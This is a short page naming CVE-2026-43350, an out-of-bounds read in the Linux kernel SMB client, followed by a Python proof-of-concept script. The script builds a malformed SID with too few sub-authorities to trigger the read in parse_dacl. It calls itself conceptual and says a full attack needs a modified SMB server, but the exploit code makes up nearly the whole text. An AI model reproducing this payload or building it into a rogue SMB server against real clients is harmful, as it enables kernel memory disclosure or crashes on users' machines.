CVE-2026-43350 Linux内核SMB客户端越界读取漏洞

import socket import struct from impacket import smb from impacket.dcerpc.v5 import samr # Conceptual PoC structure for a malicious SMB server response # This script demonstrates how to construct the malicious ACE structure. # Note: A full exploit requires running a modified SMB server. def create_malicious_ace(): # SID Revision: 1, SubAuthCount: 2 (Maliciously low) # IdentifierAuthority: 0 (SECURITY_NULL_SID_AUTHORITY) # SubAuthorities: 88 (S-1-0-88), 3 (matches NFS mode type logic) # The kernel expects sub_auth[2] but we only provide 2 sub_auths. sid_rev = 1 sub_auth_count = 2 identifier_authority = 0 sub_auth_0 = 88 sub_auth_1 = 3 # SID Structure: Revision(1) + SubAuthCount(1) + Authority(6) + SubAuths(4*Count) # We omit sub_auth[2] which the kernel tries to read. sid_data = struct.pack('<BB6BII', sid_rev, sub_auth_count, 0,0,0,0,0,0, # Authority (0) sub_auth_0, sub_auth_1) return sid_data if __name__ == "__main__": print("Malformed SID constructed to trigger OOB read in parse_dacl:") print(create_malicious_ace().hex())